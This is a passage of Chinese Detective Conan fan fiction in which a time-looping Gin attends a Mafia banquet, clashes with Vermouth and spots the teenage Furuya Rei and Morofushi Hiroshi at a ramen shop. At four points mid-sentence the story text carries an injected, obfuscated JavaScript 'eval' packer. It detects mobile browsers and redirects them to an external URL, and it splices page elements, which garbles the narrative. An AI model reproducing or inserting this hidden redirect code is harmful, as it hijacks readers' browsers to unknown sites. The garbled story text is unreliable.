“你看起来有些烦躁?”维托里奥稍稍偏头,那双含笑的眼似乎能够透过琴酒的伪装看透他的内心,“说起来,我年轻的时候也不太喜欢这种场合。” “兄长很忙,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345421|183503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙着结交政要、维持家族的地位、成为所谓的代言人。” 琴酒安静地站在原地听老人念念叨叨,事实上,他也有些不解。虽然最开始,他就计划想方设法与维托里奥搭上线,但他甚至没有丝毫动作,对方就已经找了上来,甚至还开始跟他碎碎念? 他可不认为自己有什么资格值得对方青眼相待。 “而我……”老人似乎并不在乎琴酒的反应,他继续讲述着一些老掉牙的往事,“我就会丢掉酒杯,从侧门溜出去,然后穿着西装跟自己的朋友在盘山公路上飙车,大家勾肩搭背大笑着越好下次继续。现在想想,真是一段肆意轻狂的岁月。” “维托里奥先生。” 琴酒不得不打断了对方的讲述,“我并不认为自己有资格了解您的私事。” 有的时候另眼相待并非是奖励,而是包裹着砒霜的蜜糖。琴酒一直很冷静,哪怕他现在仍旧没有放弃毁灭世界的想法。 ……啊,再次更正,是拯救世界(拇指)。 “哎呀……” 老人也很无奈地笑出声来,“你只当我是个无关紧要的路人就好,都只是老头子的随口胡言,算不上什么私密信息。” “不过年轻人,谨慎些也是好事。”他上下打量了琴酒片刻,但却很好地表现了自己不愿冒犯的态度。 “我听到奥古斯汀说,你是那位‘乌鸦先生’倚重的属下?”乌丸莲耶确实很有本事,他白手起家,时至今日已经让组织成为横跨诸多国家的庞然大物,入了这群老牌Mafia的眼,这件事本身就代表着一种认可。 所以boss最后变成那个样子,一定是活了太久的错。 琴酒心中暗搓搓想着大逆不道的念头,表面上却仍旧不动声色。 “只是boss愿意抬举而已,维托里奥先生。”他并未奉承这位老者,语气也只是淡淡,偏偏态度十分认真,让被回应的人也有了被重视的实感。 “谦虚是一种美德,而你已经足够优秀了,年轻的麦考利。” 老人并未与琴酒过多交谈,他临走前留下了一张名片,这本身就代表着一种十分难得的认可。琴酒自己又在天台上站了一会儿,许久之后,他才将名片放在西装内侧的夹层内,随即才像是什么都没发生一般返回了宴会厅。 无论维托里奥先生的目的是什么,他想……自己都不必太过忧心。 因为此时此刻的‘琴酒’,也只是在里世界刚刚展露头脚的年轻人,没有根基,更没有什么势力,只是一名少年杀手,是被「那位先生」握在手中的一柄利刃。 除此之外,他没有丝毫特殊之处,更没有被那些身居高位者觊觎的地方。 宴会即将结束,琴酒又回到了贝尔摩德身边,他们同奥古斯汀道别后便驱车离去。只是琴酒不知道,在他们离开后不久,宴会的主人公便站在了老者身侧,他的态度十分恭敬,丝毫不见在宴会举办的时候游刃有余的轻浮感。 “您似乎很看重那位麦考利先生。”他略有些疑惑。 “我在那孩子进入厅堂的那一刻看到了他的眼神。”老者很是好心地给出了自己的答案,“幽深的、平静的深潭内部将要泛起惊涛骇浪,那只乌鸦居然会有如此出色的属下,真是让人见猎心喜。” “乌丸莲耶运气确实不错,”奥古斯汀对此表示赞同,“不过未来如何……还需要继续观察才行。” 5. 三 如果可以的话,琴酒很想把贝尔摩德一脚踹出去,并且自己驾车离开,最好在这之后找个酒店睡个好觉。 但这是贝尔摩德的车。 今时今日,十九岁的琴酒先生还没有获得驾照,如果因为无证驾驶被逮到局子,那他一定会被所有人笑到地老天荒。 贝尔摩德现在倒是没办法猜到琴酒在想什么,她换上一双平底鞋后,将礼服撩到了膝上,然后把普通的代步车开出了赛车的架势。大概是因为心情不错,贝尔摩德女士甚至还叼了根七星烟,用洁白的牙齿轻轻咬住烟蒂,姿态潇洒得像是下一秒就要去走红毯。 身处黑暗的疯子们总是要想方设法找点儿乐子,比如说有些人爱饮酒,有些人爱用成年男女那点事儿来宣泄一二,有人喜欢抽烟,有人喜欢飙车。 还有些人喜欢将杀戮视为放松的方式之一,琴酒向来不理解这点,他认为那样的存在只是被欲望支配的奴隶。 杀戮只是手段,而并非借口。 “你今晚可是社交场上的优等生,宝贝儿。”贝尔摩德的英文发音非常标准,她的咬字很特殊,尾音会稍稍拖长,音调上扬一点,听起来就多了种很特别的韵味,“这算是天赋异禀吗?” “无趣的评价。”琴酒靠在副驾驶旁的窗边,很是百无聊赖地望着外面飞快倒退的景色。他早已不把记忆中自己曾经经历的一切当做参考,比如说从前的贝尔摩德可没有这种闲情逸致在宴会后与他谈笑。 当年的琴酒还是个酷哥,一场宴会说出的话不超过五句,贝尔摩德在名利场内谈笑风生,他就负责在角落cos木桩。结束后面对女士的调侃也只是说了一句‘我要吐了’,就让贝尔摩德变了脸色。他记得……彼时这位女士径自关上了车门,然后留下一句:自己想办法回去,就直接扬长而去了。 这是他的福报,琴酒深沉地想。 他终究不一样了,现在也肯为达成自己的目的细细谋划,就连在最为厌恶的神秘主义者面前,也能够心平气和地与之对谈。 这就是所谓的成长吗?虽然琴酒不介意这种程度的改变,但不知道为什么,总觉得有点恶心。 “已经快到午夜了,我只想早点休息。”他瞥了一眼沉迷于飙车的贝尔摩德,神色淡淡。 女人闻言将油门踩得更快——天杀的她居然在转弯的时候加速! 虽然表面上看起来,琴酒很擅长踩着各种人的底线疯狂蹦迪,但实际却不然,他在私人时间是相当守序的类型,具体表现在非工作期间作息规律、吸烟饮酒浅尝辄止、遵守交通规则,绝不在红灯亮起的时候过马路,市区内开车速度不超过40码。 在体验了绝佳推背感之后,琴酒的面色白了一点,他眉头紧皱,再次开口时声音已经明显低了两个度:“你又在发什么疯?” “真是不可爱的小孩儿。” 贝尔摩德丝滑地将车停在了酒店的停车位——他们晚上可以住vip套房,一间,但是里面有三个独立卧室。 “不感觉很刺激吗?”女人靠在车边,勇敢手指卷了卷发尾,跃跃欲试,“有空我带你去盘山公路,在那儿飙车更让人畅快。” “……啧。” 琴酒居然不知道这女人居然爱玩儿这个,他从前可没见过对方在谈及一件事情的时候会拥有如此鲜活的表情,像是枯萎的玫瑰突然盛开、腐烂的种子坠落于地,然后重获新生。 是很能够匹配如今这幅姣好容貌的眼神。 那么今天……究竟是什么原因呢?琴酒作势上前,虚虚扶住贝尔摩德的手臂:“但愿你没有喝醉。” “还差一点。”女人笑嘻嘻地将身体的大部分重量都交了出去,“不要试图猜测一位女士的酒量。” 组织内部的男男女女中,关系混乱的也有不少,但大家都不太习惯谈真感情,一切交集都奉行你情我愿,分分合合更是常态。琴酒从来不热衷于这些,但他却猜测,在别人眼中有无数入幕之宾的贝尔摩德其实也并不算多么开放。 神秘主义嘛,琴酒想。 他又不在乎所谓的真相。 他们很容易就入住了酒店套房,临上楼前,前台的表情还带着几分暧昧的意味。两个人都没有想要解释的意愿,又或者说,伪装成深夜来酒店放松的情侣,更方便让他们这种人隐匿踪迹。 关上酒店套房房门后的第五秒,琴酒就将整个人都倒在他身上的贝尔摩德丢去了沙发上,第十秒钟,他开始用简易的探测器来检查套房内有无监控设备。 很好,作为经常接待高官和财阀的星级酒店,这里还算尊重顾客的隐私。琴酒有点儿累,衣服上也沾染了贝尔摩德身上的香水味儿,闻起来让人隐隐感觉有些头痛。他又里里外外走了一遍,确信这间套房里压根没有不该存在的东西后,才放松地脱掉身上的西装,又用指尖灵活地解开靠近领口的衬衣纽扣,道:“你想要干什么,最好坦诚一点。” 算上过去的数次循环,琴酒和贝尔摩德产生的交集并不算少,但他从未想过要过多了解这个女人。对方是个麻烦——这点毋庸置疑,更何况,了解贝尔摩德是什么会对他结束那该死的循环有作用吗?答案是没有,毕竟这女人只是个充当工具人身份的二五仔。 也是主角新一君的金手指之一。 很好,琴酒觉得他越来越恶心了,无论定位是主角还是反派,都会让他恶心到想要吐出来。 “……真绝情啊,少年。” 贝尔摩德仍旧像是没有骨头一样瘫在沙发上,但比起刚刚,她的身上很明显地少了那种非常刻意表现出来的妩媚感。大概是因为刚刚抽了烟,她的嗓音有些疲惫沙哑,说起话来也带着显而易见的倦怠:“真的不跟我调一杯马提尼吗?” “要么去洗澡,要么就别说废话。”琴酒冷酷无情,他去冰箱里给自己找了罐冰可乐,然后给贝尔摩德丢了无糖的过去。 “啧。” 女人对油盐不进的少年人没辙,她坐正了一些,花了几秒钟的时间表达了对无糖可乐的嫌弃,然后很是熟练地打开拉环——都说了没有人能够拒绝肥宅快乐水,哪怕是犯罪组织的大佬也不能。 “奥古斯汀先生的看中,你应该知道那意味着什么,Gin。” 女人收敛了刻意外放的气质后,言语间的冷漠和沉稳倒是无需掩饰了,身在组织、早早与鲜血和谎言为伴,所谓的情绪也能成为武器,更遑论是否‘真实’,琴酒不屑于伪装,但贝尔摩德恰恰相反,她很擅长将其作为道具来让自己达成目的,这对她来说,就像是呼吸一样简单。 “所以呢?” 琴酒也同样坐在沙发椅上选择放松自己,他知道这间房内的另外一人不会在现在做多余的事情。 一场谈话?又或者这是一次试探? “平心而论,”女人屈指轻轻敲击着可乐的铝罐,金色的发在灯光下显示出迷人的色泽,“我从未想过你会完美地融入这种场合,加兰帕斯告诉我,你应当属于幕后的黑暗,而不该现于人前。但我今夜看到了一位成熟的绅士,你真让人惊讶。” 琴酒:……你有病吗,加兰帕斯? 将这款稍显平民的酒名作为代号的组织成员是琴酒尚未获得代号时的顶头上司,对方因为一次任务受了伤后退居二线,如今在武器供应部门当物资发放npc,是个黑二代,前一任加兰帕斯是他的父亲,与此同时,也是[那位先生]的死忠,死于二十年前的一场爆炸。 对方的评语暂且不提,琴酒只知道后来组织为了找出一位能够用自身形象来构筑出威慑符号的代号成员,将琴酒的名声传遍了里世界,以至于他的悬赏金额一度登上了黑榜的前三名。组织倒是名声大噪,期间的风险都由琴酒一人承担,想想就觉得过去兢兢业业为组织打工的自己绝对被世界意识搞坏了脑子。 而说出了‘对方应当属于幕后黑暗’的加兰帕斯,就是提出那种离谱计划的罪魁祸首。 拒绝回忆往事。 琴酒脸色发黑:“得了吧,贝尔摩德,你真以为奥古斯汀的看重就是跟你多说几句话?” “那些大人物做什么只凭心情,而得到了所谓特殊待遇的我,换一种角度来看,也无非就是被路人投喂了一根香肠的流浪猫而已。” “……真是妄自菲薄啊,Gin。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345422|183503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贝尔摩德无奈叹息。 她曾经见过许多优秀的年轻人,包括表世界和里世界的:年纪轻轻的官员、少年得志的学者、游走于黑暗之中的犯罪专家,又或者是擅长玩弄人心的操心师。但从未有人像是琴酒这样,冷漠到似乎连自身的存在都不在意,那双眼就像是酝酿着风暴的暴风眼,充斥着狂暴和压抑,但它的主人却从未让这些释放出来,反倒是埋藏在了最深处。 于是暴风眼变成了平静无波的深潭。 奥古斯汀……那位先生在世界范围内也称得上大名鼎鼎,这种存在甚至比[那位先生]还要危险,所以被这样的人注意到的话,哪怕仅仅是多说了几句话,在他人看来都是一种了不得的信号。 不是所有人都有资格成为这类人眼中的‘流浪猫’。 “宴会的情形我会如实向[那位先生]汇报,”女人浅浅地打了个哈欠,“接下来会发生什么,就与我无关了。” 奥古斯汀与组织的合作持续了许多年,双方的首领自然拥有不浅的交情。BOSS看重的工具入了对方的眼,那加诸在他身上的筹码也会渐渐加重,对于刚刚崭露头角的少年杀手来说……或许这并不是一件好事。 但琴酒在乎吗?琴酒不在乎,他不但不在乎奥古斯汀的态度,更对维托里奥的青睐感想平平。 那两个人在他眼中,无非就是有用的工具人,和非常有用的工具人。 这次的意大利之行算是圆满结束,琴酒很满意,唯一有些不爽的就是贝尔摩德的开车技术太烂了,烂到令人发指。 轮回数次,他居然在女人充当驾驶员的时候晕了车,简直就是一生之耻。 第三日清晨,琴酒乘坐客机落地日本,贝尔摩德选择回到美国,那儿才是她经营势力的地盘。 不管之后要如何谋划,现在的他最好找个安全的地方倒时差,飞机让人昏昏欲睡,虽然买了头等舱的票,但遭遇强烈气流时,颠簸感之下,众生平等。 但是在琴酒随随便便找了一家拉面店解决午饭时,遇到了‘故人’的情景着实让他失去了食欲。 很烦,真的很烦,比睡眠不足还烦。 拥有茶金色短发的黑皮少年明显能够看出混血的轮廓,平心而论,他的容貌十分优秀,但与别人相比的确有些特殊,他身边的黑发少年就普通得多——所谓的‘普通’特指外貌看起来只是寻常的东亚人,颜值仍旧在水平线以上。 琴酒:……哦,该死的条子(未来)。 他第一时间考虑了干掉青春男高版本的波本和……那谁来着?收益能否达到预期。因为长途跋涉的缘故,他没有穿那身标志性的黑风衣和礼帽,而是换了便于行动的T恤和工装裤,裤子的口袋很方便藏匿各种小玩意儿,都能够成功通过安检,但组合起来就是杀伤力足够的小型武器。及腰的长发也被扎起来斜斜垂在身前,收敛一身戾气后,看起来也是会被女孩子拦住送情书的帅气男性,但是就在所有人没有注意到的角落,他伸手到裤袋里轻轻摩挲,那儿放着一把小型女士手//枪,是从机场出来后去洗手间取来的武器,由外围成员提前送达。枪身轻薄小巧便于携带,更有益于贴身隐藏。 [……先生,冷静。] 处于省电模式的996有气无力。 [你我都不希望世界再次重启,他们两个可是高人气角色。] “高人气?”琴酒试图谋杀面碗里的荷包蛋,“波本我能理解,他重要到甚至持续到了组织覆灭仍旧存在,那个黑头发的……有点儿眼熟,他谁?” [诸伏景光,化名绿川瞬,代号苏格兰威士忌] 不知道为什么,琴酒从本应毫无情绪波动的声音里听到了浓浓的无力感。 “苏格兰……?” 饶是淡定沉稳如老大哥也不由瞳孔地震,你说那个是苏格兰?那个虽然没见过几次面、但曾经被分到他的行动小组、狙击技术不错、整天胡子拉碴阴着一张脸仿佛全世界都欠他一百万、最后却被发现是公安卧底的苏格兰威士忌? 面前那个在波本安室透身边显得越发白净的高中生?哪里像是苏格兰了啊?! 6. 四 在拉面汤碗里的荷包蛋被筷子戳成残骸之前,琴酒及时停了手,避免自己成为别人眼中‘那个留着长发一身漆黑看起来不像是好人而且还在浪费食物’的奇怪男人。 穿着学生制服的降谷零和诸伏景光,没错,琴酒终于记起了两个人的真实姓名。在这之前,降谷零在他眼中就是朗姆的手下,能力很强但讨人厌、后者是沉默寡言的狙击手,虽然脸上惯常挂着笑容,但笑意不达眼底,反倒让人望之生畏。 但事实证明,这两个家伙都是条子,琴酒不理解并且大为震撼……你们日本公安,派卧底都要幼驯染结伴入职吗?又不是男闺蜜手拉手黏黏糊糊结伴去厕所。 “告诉我官方两个部门在未曾互相交流的前提下分别向组织派送了一名卧底,而这两人不仅是幼驯染还是同期、甚至还生活在东京这座城市——这种事很合理,或者它的确是官方为了正义做出的举动,而不是什么跟黑恶势力的利益置换。”琴酒眼神沉沉,他真的不懂官方的奇怪操作,甚至在之后的轮回中一度怀疑是组织和他们达成了什么协议,所以才让这两个家伙潜入组织成为炮灰。 但事实证明,这一切真的只是巧合,诸伏景光真的因为卧底暴露而死亡,而降谷零最后成为了使组织毁灭的大功臣。 想必一切结束之后,对方会名誉加身,升职加薪成为人生赢家。 ……不知道为什么,感觉更离谱了。 [本世界在这之前并不是字面意义上的成人向],996非常智能,它甚至很委婉地提醒琴酒不要想太多——全年龄向的作品向来不会在这方面刻画太多,更多的细节都由年龄大一些的观众自行想象,从而衍生出各式各样的走向。 更可怕的是,琴酒听懂了。 ……突然感觉自己在跟空气斗智斗勇,像是生吞了苍蝇一样难受。 所以他记忆中的过往、那些被血腥、黑暗和背叛充斥着的童年与少年都是某个作者笔下寥寥几字或几格黑白漫画而已,这是何其……讽刺。他摸爬滚打,曾经在训练营用一条裤腿狠狠勒住敌人的脖颈直至他断气,对方才十二岁,比当时的他大了两岁,也曾被丢进遍布了陷阱毒蛇和猛兽的雨林里,只有两把手枪、一袋子弹和少许物资,五十个人被投放到岛上,十天之后,只能有五个人活着。 琴酒……那时的他没有名字,只有A022的编号。于是A022活了下去,成为了日后的琴酒。 这些,在另一个所谓的高维生物眼中,是否也只是寥寥几笔呢? “那你说怎样才算是活着?”琴酒吃光了最后一根面,他安静地坐在店铺的角落,充斥着杀意的眼眸透过散落的额发紧紧盯着仍旧好无所觉谈笑着的少年们,此时此刻,琴酒并不想承认自己必须为了以后的‘自由’来保护这个几乎算是否定了他过往所经历的一切的、虚假的世界。 [按照我们的定义来说,您现在就是‘活着’。]996如此回答。 它能够从合作者的语气和神态、甚至是血液流速与多巴胺分泌来判定对方想要表达的意图,可有些时候,它也只能靠字面意义来进行回答。人类的情绪波动太过于丰富,乃至于它这种高维造物也无法将其彻底分析。 总而言之,琴酒似乎又开始发疯了。 但996下一刻就感受到了人类的多变,原因无他,如今只算是少年的杀手先生已经平复了自己的纷乱思绪,他将视线移开,仿佛刚才那个想要一发子弹把两位青春男高搞成串串香的危险想法并不存在。 的确如此,琴酒想。他不得不赞同996的说法,他就在这儿坐着,刚刚吃了一碗拉面,甚至还因为面汤太烫等候了近五分钟。哪怕这个该死的世界脆皮到他杀了随便一个看起来很重要其实并不重要的人就会重启,但是琴酒依旧相信,他的人生不会受制于一支画笔或是一本书。 更何况,骄傲如他,也绝对不会任由自己的‘存在’被任何因素桎梏,哪怕对方是……嗯,造物主? “就算是所谓的文学作品和漫画,没有被创作出来的番外篇依旧是番外篇吧。”琴酒低声自言自语。 996:……你又想要做什么啊爹?! 当然,我们年轻的杀手先生真的什么都没想做,他甚至克制住了想要给波本降谷零套麻袋然后把对方打个四分之三死的念头,进步了呢,琴酒先生。 所以,在所谓的主线和支线剧情之外,还存在着为了丰富人物设定或是给剧情打补丁的番外篇,比如说中途插入的配角过往,又或者着重刻画一下悲情反派的童年。琴酒并不热衷于当今正在流行的非严肃文学作品,他更喜欢读诗集或是大部头——特指专业性极强的书本,比如说各国的法律条文。 方便他钻空子。 但极少涉猎并不代表他是个傻子,按照996的说法,现在的世界线尚未彻底形成,所谓作者所描述的不合理之处和与现实完全相悖的bug都会因为世界完成度渐渐提升而一点一点被补全,琴酒需要做的就是这样的事情,但很显然,现在并不是开始工作的最佳时机。 在一切都尚未准备就绪的今日遇到了原本的故人……不得不说,这让他的心情在愉悦和杀意凛然之间反复横跳,但琴酒已经做出了决定,他暂时可以让这两位……嗯,高人气角色多活几天,又或者彻底沦为他的工具人。 达成目的的道具总不嫌多,对吧? “再帮我做一份酱油拉面。” 做出了决定的琴酒觉得自己豁然开朗,刚刚走下飞机不久的他饿到能生吞996,因为某些无需再次提及的往事,他不太喜欢在飞机上吃飞机餐,旅途中也只是喝了一瓶白水而已,所以当务之急并不是毁灭世界,而是填饱肚子。 仍旧处于成长期的男大(男性黑??帮大哥也是男大)对男高的冲击力是巨大的,因为对方居然能吃光两份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345423|183503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大碗拉面,要知道,那可是大碗! 琴酒对降谷零和诸伏景光因为什么而瞳孔地震并不知情,他是混血,混了北欧不知名小国和俄罗斯的血统,爹妈的骨灰早就被扬了,简而言之死的很彻底。对于日本男人的食量和用餐习惯,他向来不理解,并且也并不是很想尊重。 然后他又坐在原来的位子上干掉了一大碗拉面。 诸伏景光叼着炸可乐饼无声地竖起了拇指,他对容貌明显拥有西方特征且拥有一头漂亮银色长发的陌生男人印象很是深刻。因为降谷零过去因为与众不同的容貌被人霸凌的往事,他们没有失礼地在背后交谈出声,而是选择用眼神交流——那位高大男性拥有线条流畅的肌肉和傲人的身高,的确足够吸人眼球。 餐量也是。 不知道为什么,突然感觉胃口好了起来。 不知道自己变成了进餐buff的琴酒在吃饱之后选择暂时不去理会那些乱七八糟的玩意儿,接下来他可以散散步,等到食物消化过后进行基础的体能锻炼,然后在没有任务的夜晚愉快进入梦乡。 最好睡到明天早晨。 但是在此之前…… 他停下了脚步,然后居高临下地盯着几乎要将头埋在面碗里的少年人们。 ……真是蠢货,他想。 自己并非没有对这两个家伙产生杀意,甚至于差点就要动手,而危机当头,他们居然丝毫没有察觉,更别说想出应对之法。如此迟钝且毫无警惕心,着实不太像是他认识的波本与苏格兰——太过弱小,也着实让人失望。 那两个家伙还是未成年啊琴酒先生!996很想再次尖锐爆鸣。 很好,这个角度很有压迫感。 降谷零与诸伏景光终于察觉到不对,他们几乎茫然地抬起头来,唇边因为沾染了拉面的汤汁而显得十分红润,只不过那两双迷茫的眼看起来像是茫然无措的猫科动物,让琴酒的思绪一瞬间发生了些许偏移。 说起来……波本和苏格兰的眼神总是冰冷的、充斥着恶意的,卧底们的基本演技很是过关,至少在这方面,两位卧底显示没有被组织的高层发现端倪。而现在?琴酒拧眉。不知道为什么,他从这个角度看过去,只觉得这两个所谓的高人气角色和白月光意难平多少沾了点儿清澈且愚蠢在身上。 “……先生?” 诸伏景光一瞬间有些心虚,他甚至认为自己跟Zero暗戳戳感叹对方食量超大这件事被发现了,“请问您……?” “没什么。”琴酒环抱双臂,用挑剔的眼神打量了对方许久,才硬邦邦地扔下一句,“以后再见吧,小鬼们。” 随即扬长而去。 “……哈?”降谷零甚至不知道到底发生了什么,他跟诸伏景光面面相觑,随即才发出了毫无意义的语气词,“刚刚那家伙要做什么?不会是哪里钻出来的不良吧。” 真是莫名其妙。 7. 五 只是一个小插曲,琴酒是这样认为的。 因为之前的各种经历,他现在看所有人都不顺眼,官方的人很可恶,组织里的蠢货让人更加烦躁。 那两个未来的条子也在让他感到不爽的范围之内,但这不重要,有些时候为了达成目的,个人的情感偏向可以稍稍靠后,甚至在某些时刻,也可以被当成好用的工具。 来日方长呢,琴酒勾唇笑了笑——哪怕只是字面意义上的单纯微笑看起来也很反派。 没救了,琴酒先生。 拥有短暂假期的杀手先生心情还算不错,他甚至将长发用手拢成了一束放在胸前,然后蹲在了路边的贩卖机旁,从出货口里掏出了廉价的罐装咖啡。 或许有些人对组织拥有某些刻板印象,比如说拉风的出行、高端的酒会和几乎焊在身上的阴间滤镜。但事实则不然,空闲时间大家的生活其实很日常——比如说朗姆热衷于研究拉面的十八种做法、科恩有东京迪O尼乐园的vip年卡、基安蒂很喜欢在酒吧蹦迪、未来将会跟在他身边的伏特加是喜欢追小偶像的宅男。 贝尔摩德不算,那家伙天生喜欢引人注目,做好莱坞影星做得风生水起。 所以在拉面店吃拉面或者在路边的贩售机购买饮料也没什么可以被指摘的地方。原本的计划是用餐之后回到安全屋睡他个昏天暗地,但在看到那两位清澈男高之后,他突然觉得自己应该加个班。 比如说将现阶段可以接触的人,以及他们的关系网彻底理清。 在继续所谓主线运行的基础上增加些许‘分支’,难道不是一种很有趣的消遣吗? 不知道自己将要变成消遣的男高二人组也很快将奇怪的银发大胃王抛到了脑后,大家都有自己的生活,很少会有谁将有过一面之缘的陌生人留在记忆里久久不能忘却,再者说,跟一个男人也不会产生什么一见钟情的庸俗戏码。 曾经因为过往家庭变故而性格内向的诸伏景光终于在幼驯染的帮助下走出了阴霾,并且治好了因心理因素而患上的失语症。现在的他终于可以如同正常人般正常生活,上学期间住在学校,每周回去看望一次收养他的亲戚,每个月跟高明哥通两次话。他们很少见面,因为当年杀害他父母的凶手还未落网,安全起见,两人几乎处于断联的状态。 这种生活对诸伏景光来说并没有什么不好的地方,平稳且寻常,或许就这样继续下去也没什么不好。但他胸腔内部跳动的心中仿佛燃烧着一簇火焰,它或许不够旺盛,但仍旧炽热无比,时至今日仍旧在缓缓灼烧着那颗充斥着不甘的心脏。 他仍旧年少,却在此时规划了前路,他和降谷零都是同一种人——更加坚定,也更清醒。 所谓的未来仍旧在命运的介入下走向了沿着既定道路前行的站台。琴酒并不认为自己能够将所有人当成任他摆布的棋子,,他不至于如此自负。 回到安全屋之后,他并没有立即进入睡眠状态,桌上摊着一张白纸,正中央写着几个人名——降谷零、诸伏景光和赤井秀一。 很可笑,威士忌三人组同在一队行动,三名代号成员居然都是卧底,这种堪称是火星撞地球的概率着实让他无法理解。组织的审查人员是废物吗?还是组织的存在原本就是废物?又或者……这是老家伙们刻意给官方开的口子。 但后者大概率不是真相,因为赤井秀一当初可给组织造成了不小的损失。 总结:组织老大是蠢货,情报组都是蠢货,二把手朗姆也同样是蠢货。 所以这群傻[哔——]们才会在自己想要杀掉波本和基尔的时候发来信息阻止。 大哥越想越气,笔尖落在纸上时甚至留下了一道深刻的划痕。 这三人的真实人际关系其实并不难还原,如今他们还没有和官方打交道,自然不会有人刻意隐藏他们的档案——特指将他们的保密等级提到最高。 过去的几次轮回,琴酒并没有查阅他们过往的经历,他只知道哪个是老鼠,然后找到对方,杀掉,仅此而已。而现在,围绕着这三个人,琴酒能做出的部署有很多,或者可以再增加一个基尔,水无怜奈……或者可以称其为本堂瑛海? 已经堕落到快要成为各国卧底培训班,组织的末路似乎清晰可见,事实证明的确如此,琴酒亲自见证了一个庞大黑暗组织的崩解。 它的落幕如此草率和狼狈,不盛大,也不体面。 真恶心。 不知道为什么,在回忆起从前的经历时,琴酒免不了产生一些生理及心理上的不适,他将其归咎为对无法毁灭世界的抗议和不满。 又或者是轮回了太多次的后遗症。 他将几个人名和现有情报用黑色的线连接起来,然后把它们记在脑子里。这是一次对现有记忆的梳理,也是对现状的复盘,很显然,现在刚刚获得代号的他还没有足够力量跟‘剧情走向’进行对抗,所以他只能先只能暗自积蓄实力,以提高目标成功率为前提,进行替我提升。 随即,琴酒掏出了打火机,将这张写满了字迹的纸烧成了灰烬。 他就这样安安静静地注视着平整的纸张在火焰的舔舐下逐渐变得焦黑,它蜷曲成了一团,然后变成了一地碎屑,只要轻轻一吹,任何痕迹便会消失不见。 就像是他脑子里转过的念头一样。 ‘我应该快些作出决定’,他这样想着,但是眼底仍旧平静无波,很有些活人微死的气质。 时间来到了傍晚六点钟,加班结束,琴酒需要吃一袋面包填饱肚子,然后滚去训练室进行体能训练,再然后,他将祝福自己拥有婴儿般的睡眠,而不是梦到全世界的卧底都冲过来对他喊着羁绊正义勇气光明(太恶心了,强调,这真是太恶心了)然后用不知道多少发子弹把他打成筛子。 噩梦,绝对是地狱级别的噩梦。 不如说,比起那种梦境,他宁可下地狱才对。 安全屋的地下室有小型训练场,虽然不然太大,但的确可以进行最基本的体能训练。琴酒自然知晓过犹不及的道理,现在的身体承受能力当然比不上壮年的自己,不过他可以继续强化自己的肉。体,直至如今所能接受的最大值。 无论如何,自身都不能懈怠,之后还不知道会经历什么,他若能做的,也只是现有条件下的最大努力而已。 一夜无梦。 很好,充足的休息是保持愉悦心情的法宝,在经历了一场高质量睡眠后,琴酒终于将一切可能会影响自己判断的暴戾情绪尽数收敛。但是随之而来的是来自[那位先生]的私人邮件——在获得‘琴酒’的代号之后,他就拥有了直接与BOSS交流的资格。 虽然所谓的交流也只是一个私人的邮箱号码和偶尔单方面的通话,BOSS会将自己的号码加密,给自己的属下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345424|183503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打电话时,他甚至不肯使用自己的真实声音。 将‘苟’之一字发挥到了极致。 如果琴酒有跨越次元壁的本领,他有可能会见到一位名为‘迪亚波罗’的Mafia领袖,他跟[那位先生]的苟之一道有异曲同工之处,不过很显然,组织的BOSS没有对方的颜值——他只是个妄图重返青春的糟老头子,而且没有任何人格魅力。 ……所以我为什么要对他死心塌地? 琴酒戳了戳手机键盘,BOSS先慰问了一下被迫跟贝尔摩德参加宴会的琴酒,并且很委婉地指出他的僭越——特指他表现太好而被奥古斯汀看中。 “他有病?”琴酒皱眉,“反复无常,下命令的是他,如今不满的也是他,老头子更年期吗?” [掌控欲过强也是乌丸莲耶的固有标签之一]996很自觉地回答。 